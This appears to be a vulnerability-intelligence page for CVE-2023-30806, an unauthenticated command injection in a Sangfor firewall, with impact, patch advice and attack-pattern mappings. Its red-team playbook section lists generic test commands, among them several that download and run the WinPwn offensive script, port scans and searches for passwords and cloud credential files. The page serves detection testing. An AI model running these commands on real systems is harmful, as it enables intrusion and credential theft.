CVE-2023-30806
Overview
This vulnerability is an operating system command injection caused by improper sanitization of shell meta-characters within the PHPSESSID cookie. The flaw resides in the Sangfor Next-Gen Application Firewall NGAF8.0.17, specifically in the handling of HTTP POST requests directed at the /cgi-bin/login.cgi endpoint. The affected component fails to correctly validate or escape user-controlled input, enabling injection of arbitrary OS commands.
Vulnerability Description
The Sangfor Next-Gen Application Firewall version NGAF8.0.17 is vulnerable to an operating system command injection vulnerability. A remote and unauthenticated attacker can execute arbitrary commands by sending a crafted HTTP POST request to the /cgi-bin/login.cgi endpoint. This is due to mishandling of shell meta-characters in the PHPSESSID cookie.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the firewall, potentially leading to full compromise of the device. This requires only network access to the affected endpoint and no user interaction or authentication (AV:N/AC:L/PR:N/UI:N). Successful exploitation can result in data breach, service disruption, or lateral movement within the network, severely impacting the security posture of organizations deploying this product.
Solution
Sangfor has released patches addressing this vulnerability in versions later than NGAF8.0.17. Users should upgrade to the latest firmware as detailed in the advisory at https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/. Additional guidance and patch details are available at https://vulncheck.com/advisories/sangfor-ngaf-sessid-rce. AWS Marketplace listings also reflect updated secure versions. Applying the vendor-provided updates promptly is recommended to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Sangfor Next-Gen Application Firewall version NGAF8.0.17 is characterized by an operating system command injection flaw. This issue arises from improper handling of shell meta-characters within the PHPSESSID cookie, allowing an attacker to manipulate the system by injecting arbitrary commands. The vulnerability is particularly concerning because it can be exploited remotely and does not require authentication, significantly lowering the barrier for potential attackers. By crafting a malicious HTTP POST request directed at the /cgi-bin/login.cgi endpoint, an attacker can execute commands with the privileges of the web server, potentially leading to complete system compromise.
Exploitation of this vulnerability can occur through various attack vectors. A typical scenario involves an attacker sending a specially crafted request that includes shell meta-characters in the PHPSESSID cookie. Once the request is processed by the application firewall, the injected commands can be executed on the underlying operating system. This could allow the attacker to perform a range of malicious activities, such as retrieving sensitive information, modifying system configurations, or deploying additional malware. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly dangerous, as it can be leveraged by attackers with minimal technical expertise.
The real-world impact of this vulnerability can be severe, posing significant business risks for organizations that utilize the affected firewall. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The financial implications may include costs associated with incident response, regulatory fines, and reputational damage. Furthermore, the ability to execute arbitrary commands could enable attackers to pivot within the network, escalating their access and potentially compromising additional systems. Organizations relying on this firewall for security may find their defenses undermined, leading to a loss of trust from customers and stakeholders.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses before they are exploited by attackers. Additionally, monitoring network traffic for unusual patterns, particularly around the /cgi-bin/login.cgi endpoint, can provide early warning signs of an attempted exploitation. Applying patches and updates provided by the vendor is crucial to closing this vulnerability. Organizations should also consider implementing additional security measures, such as web application firewalls (WAFs) and intrusion detection systems (IDS), to further protect against command injection attacks.
In conclusion, the operating system command injection vulnerability in the Sangfor Next-Gen Application Firewall version NGAF8.0.17 represents a significant threat to organizations that rely on this product for their cybersecurity posture. The combination of remote exploitability and lack of authentication creates a high-risk scenario that can lead to severe consequences. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to detect and mitigate this vulnerability, thereby enhancing their overall security posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sangfor | Next-Gen Application Firewall | ngaf8.0.17 |
cpe:2.3:a:sangfor:next-gen_application_firewall:ngaf8.0.17:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-30806 |
| labs.watchtowr.com |
GitHub CVE
third-party-advisory
exploit
technical-description
|
https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/sangfor-ngaf-sessid-rce |
| aws.amazon.com |
GitHub CVE
product
|
https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4 |